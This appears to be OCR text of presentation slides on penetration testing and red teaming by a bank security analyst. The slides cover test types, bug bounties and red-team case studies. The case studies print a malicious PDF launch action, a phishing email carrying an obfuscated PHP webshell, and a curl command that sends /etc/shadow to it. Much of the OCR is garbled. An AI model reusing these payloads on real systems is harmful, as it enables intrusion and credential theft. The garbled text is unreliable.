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« System analyst — National Data Center, 3 years
» (yber security analyst - Golomt Bank, 4 years
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1. Pentest box

Black box Grey box White box
No knowledge of your Some knowledge of Complete knowledge of
system, infrastructure. system, infrastructure. your system,
Zero access Partial access Infrastructure.

Full access



1. Pentest box

Black box Grey box White box

Attacker Customer, Partner Developer



2. Attacks

* They want

* High privilege on system
 Own backdoor

| e Spyware, monitoring

e - Steal sensitive data

« Stop service, systems

Hackers targeted you




2. Attacks

Secure infrastructure, network, application Relative attacks




3. Techniques

 Automated pentesting * Manual pentesting

oo

e Automated scan tools
e (Cloud automated tools

 Logic flaws
 Design implementation
 Auth

« Bypassing



Which is the most important
for pentest ?

VS

4 2

§ 707

77777

177777
177777

1777

A

,,,,,
p 1A
ez

,,,,,,,
,,,,,,,
,,,,,

J 11457
J 122
(/17
"/

Standardized report Practical result £

A
,,,,,,,,,,,
e s
,,,,,,,,
........
,,,,,,
.........
,,,,,,,,,,
,,,,,,,
.......
.......
........
,,,,,,,,,,,,
.......
..........
S
St
........
,,,,,,,,,,
,,,,,,,,,
...........
..............
A,
,,,,,,,,,,,
S
e S
e
A,
,,,,,,,,,,,
A,
e,
— )
ettt
e,

e
Y

v




3. Techniques

 Automated pentesting * Manual pentesting
—

 Long time
 (Certified bugs

oo

 False positive
« Unnecessary vulnerable




CLASSICAL PENTESTING
Static methodology
Commercial pentest tools are used

Employees or blue team are aware of the test

Target is just the technology part

Testers take advantage of known vulnerabilities

4. Pentest with redteaming

RED TEAMING
Flexible methodology
All kinds of resources are used

Except for a few manager, nobody knows while
testing
Target is technology, physical and human factors

Experts try to discover new vulnerabilities
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Blackbox

ETE Hex \n Select extension.. ™

N 0?80~00000P Z I000pDO, a0Q0000Z0k ' 0000 1000 VDhDD!tj|DDDDanDDu(DDDDQxBGByDAD)nIDcDDD.Dhﬁh
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O0¢}0{ ,000£030Q| £% (n; 30006J"°0000 (Ox
yOO0O0O.000xPOaes ' 070004000 10500r0uu00mb00i0TO-EsOggEO0GOO70z .0Fh; <000=0000+YO<<w ONNwOO
OmnwKg0 ! eE00WFOO 1wl I000_ 0] 00ZXka-000000¢ "0
DMgDDDDADtDD<DDDDDDDDjdDFDDDDDDD'DDDDDSD'D'D3DD+‘DY
endstreamendobijS /JavaScript/JS(this.exportDatalbiject ({ cName: "template",
)/ Action>>endolj
obj<</S/Launch/T . (c:\\windows'\system32)/P(/Q /C %SHOMEDRIVES&cd
SHOMEPATHS & (1if t "Desktop D (cd "Desktop"))&(if st "My
Documents' ' templa pdf” (cd "My Documents")) &(if exist "Documents' ' template.pdf” (cd
"Documents'") ) & (if ist "Escritorio''\template.pdf"” (cd "Escritorio”))&(if exist "Mis
Documentos' \template.pdf” (cd "Mis Documentos"”)) &(start template.pdf)

« Image & pdf upload form webapp
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S 4. Pentest with redteaming
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est 2 — Social engineering & supply chain
designed

N

W

m " Attacker
© | <am
. . « From supplier or v endor employee email

Greybox

Reverse shell injected php file deploy

Standard techniques tested

« Social engineering for System engineer

ma .




eply (2 Reply All &, Forward G5 IM

FWJ ] Secure session Release

nsecure-gatewa)f.php
| 3KB

Sent: Wednesday, June 22, 2022 11:28 AM
To:

Subject: Decure session Release

[EXTERNAL EMAIL)

Hi

]

==Y sccure-session.php == «"app=html. web/ folder huulaad permission iig ni tawiad ogooch.

Realease oruulaad message ilgeecheerei - 83

-M

Web Developer_LC

Sukhbaatar distri

Ulaanbaatar, Mongolia

17:53

+976  mE—

udriin mend I deer release
oruulsan shuu

.. LTE=




4. Pentest with redteaming

Test 2 — Social engineering & supply chain
designed

ile  Edit Selection Find View Tools Project Preferences Help [ec2-user@ip-172-31-16-127 root]$ curl -i -X POST https: I thank.com/
o B -secure-gateway.php -d "SessionIV=$ (echo -n cat /etc/shadow | base64 | tr -d
I sccure-gateway.php ~ ] \\r) "

1 <?php

== 2 ob_start[]:$a='eNqPUleZzYQ/rwaQlFJQFqujptsZLiixNS9amURynU70CoCU6ViNTGkk55dMAw4BQSI/YP+iZ7sNQoL/B
= JUc?UpRE+alUvKzAEiM3 jw+Px7rnj0WkEUxbhHKGEeX7nSubXN7NhOhninKeceSqlXMbs2 GvSnRnZDL 568 ADkMYuxoNJzo1hkCTn
HGijcAKIVnPAUxS5zilIXUcS5eWlpOdvxznQog¥ isb IEn7?kAGLISUe 652 yinT1M1lrB+c 2XUckyS5I4JDJ0OZ£IzkbJO0OCQedtr ISeDava
pdBAhUJYEnBOJ 6Bks JgQy2 i90xulxkRRAGaZCAughOoE1HF HeDE85XR1 1HGZ hAERGEWEZIk6SkeMB lgERS zGyF GEpzOV4AAZGAEST
kIyiBOaETmOhLngXOFt0+BApyPSgCwPIsDhbEqZenOneXA85t 1xmoDzSPRMEMEUsS0eS5Q1PREwrDOVUOitcpanl UbRMegqdhZMy Il
Wi/ / g3XRoayGgSyFKs I T AgvhHE THnn9RgJChwiindnEocF swQngMUC jVuORad+Lak0A7woVumpC ZgOhTnf uRu4LgBnlul YXMx 6g0O
cFKYROa050YzFt UZDMKexQuEUULiMginFulggqYKCZGsdeSiTBIXgPx2 yQ4punibbyo IHXVKoxNrOMr KRNDar pVe pkOGTZVAFvEgy
vObhFaR5t 6UrgawQVLLEX Y Im+SqeNVeYigZ ha74a6DAoVE Uk jwBohhe RAAG7NuguOWS KV EpUQPwUJaTEuhe Tén0gGDoksVH1alsST
SEfJ04Q0cmEnUwlrJpOFne6yZ uADykexg6J TZVOKGh6cAYTaXgCSSXjEUlzaXgPad4oxrLhEWdE6HE lunZ8wieuZdiYgkKj+r jouc
BWPUnNDK2PIVEnz0I0yZ QraSVgySD7LfEoLB39TIcgx9dZarRUSvYLFQh19BXd39g93 90/ cvbt 7eKt3cBEf3Q0I+9dGLF2gxa08x QB2
t0cabFLUATDS 6gglbuBXazNioiQS530F YuhS8S5sivio6lM0wI 23 6rASRALcGe ZROVASENQI qo+4uGlAwi 18FSRxAnfodJwB4gS1bC
wkUREBj85mzfpwkLpzxksKtdPHpR/ 3ke3 THISGHNGE JgP4wiCnQOLs zTuMIPvpEhsOPAMVedgxgqdhQkL IvukIYn9yFLDJHnEcwvda
10viDXv/ rASwIC2 yLoLh+gUcy4XarVygnHCOTEf XRuThyS5UcsNwvs jnga i UGhg2 1£TOIGhRYgPbh jWPhPgMKkJIGpSsSECra¥ghit2
wQarpQog+zeQUubalZlgMOHhnhWOSkoLS JhgYOEF ZX3KGAS LYXESSp 7D 6 7L uVAOESwGRgQEt PEMOKYSS8CsPeDp IftkdgOIsZUK
V8iJ65ZFhumys54+cHAU?7+ajPulOpBJdyWE01t zODMJI4p IJPEJ3+/ / Enyp/ r/ 9pe3v03 +QUS/ nbyZvI 784/ /nryavNHIV2 jyEo
Sv4PSLBPKXs011GridOUevE 18t/ SmEZC+ROIOhxcoYgOUhZCygEZ 59 yofQUVN++6ZAVZ1UnINy0i11gAx99/ quhIZR1YEFGRYLV
Kilj3LZ1VFRiuYulNpXhliy3oafS0Kn09VirMI+Dyw2N9/ £+I93UqaldSC3C1l1KKk4BNPAIOFGzcIJuD?10hye i3 TFPVTIukZI 13 HUvw
80576e11BfkgGprSDR2E8 ladkChulgdepoWEVzUvvi3ihRbflyur Z8rgpDedPogdtekJwu¥UcpHdDalidwpGhe1K4fmlxTxa3ct/ 4
WZnZL4705nXLOgLhlKxrMbzHI0gqvTRrz/ rBbiPXtTeeC+FAd1SNEPywRSSrDvZhRA4wkOx 016D AgBvNRZRCHAWD j+EpwgSl Zava
réeveKKfrmeyeKF SMRIGUWEOYQTL I DXIFSIxNzarofUJAIjLp10tDJATS10Ci0CByeSMBy2d+ocFGzE89B/ DiFahBGN+6t 4/ x0uybD
Vd/HEUwVZ +4+p JmTRAsSa6wdRCEIHV yXrFOgNBOWApSQrar A7 TaC 1D3 YHO9n6yHefnBvZ/ cibz/a3d3 ZPgggf+08RKg9gFe3 SKHL
g8 AVeSKSeYEgn] InyENHgFFEN ] YhQSeChnAF pF?MpFE8alquo4P3 SHAde0k4VDE0aZo2xT40c00I2pzy Wl UnBri6BSk1CWcEgvim ® WA
RODSzPAAVRVEEIVETbWpFPZbt oXpEWEwdhEkgakS0r05Dp AmQt MO6QcnfQHeV1BVAZaVrajOrLO4ballN j4+9KVHUS S YN 7 1H3 4K

gP l+M¥a2UL6/bah8/DAjLunySPXVE/ r+iYIN4ULF xNnkd3 Dull3 d+4Pulavviv?xsnTx 7w J3d6 6 £3bN74 7WNnt PU7 PraVwpnR+y7
NnDOVn7hSEUh+dh9n33JHt06vpFg2menL M/ C7nZMFt£Xo5ZBu8Z5QoF Y/ S0/ HFQP1DJItU37GAtB/ wLWIkwP' ;eval (gz

3uncompress(bases‘i_decode(SaJ)]:$v=ob_get_contentstl:Ob_end_cleanﬂ:?> °® COC e deployment procedure Skipping
e Malicious code scan & clean
 Vendor, supplier’s security




* Bug bounty program * Bug bounty platform

Time based, challenge ... Hackerone, Bugcrowd, Open bug bounty ...
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UpenBugsounty.org > Bug Bounty LISt

5,‘ Golomt Bank of Mongolia Bug Bounty Program

Golomt Bank of Mongolia runs a bug bounty program to ensure the highest security and
privacy of its websites. Everyone is eligible to participate in the program subject to the below-

mentioned conditions and requirements of Golomt Bank of Mongolia

Open Bug Bounty performs triage and verification of the submissions. However, we never
intervene to the further process of vulnerability remediation and disclosure between Golomt

Bank of Mongolia and researchers.

Bug bounty program allow private submissions only.

Bug Bounty Scope
The following websites are within the scope of the program:

*.golomtbank.com

5 April, 2021
G Cybersec20201:

I Where can | send the vulnerabilities found?

1 January, 2021
é elmahdibenrs:

I thank u for bounty 15%
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nttps.//securebug.se/blog/penetration-test-bug-bounty/
nttps.//www.truvantis.com/blog/pen-testing-the-cloud-and-hybrid-
environments

https://www.rapid/.com/blog/post/2022/03/21/cloud-pentesting-pt-1-
breaking-down-the-basics/




Conclusion

Most powerful pentest tool
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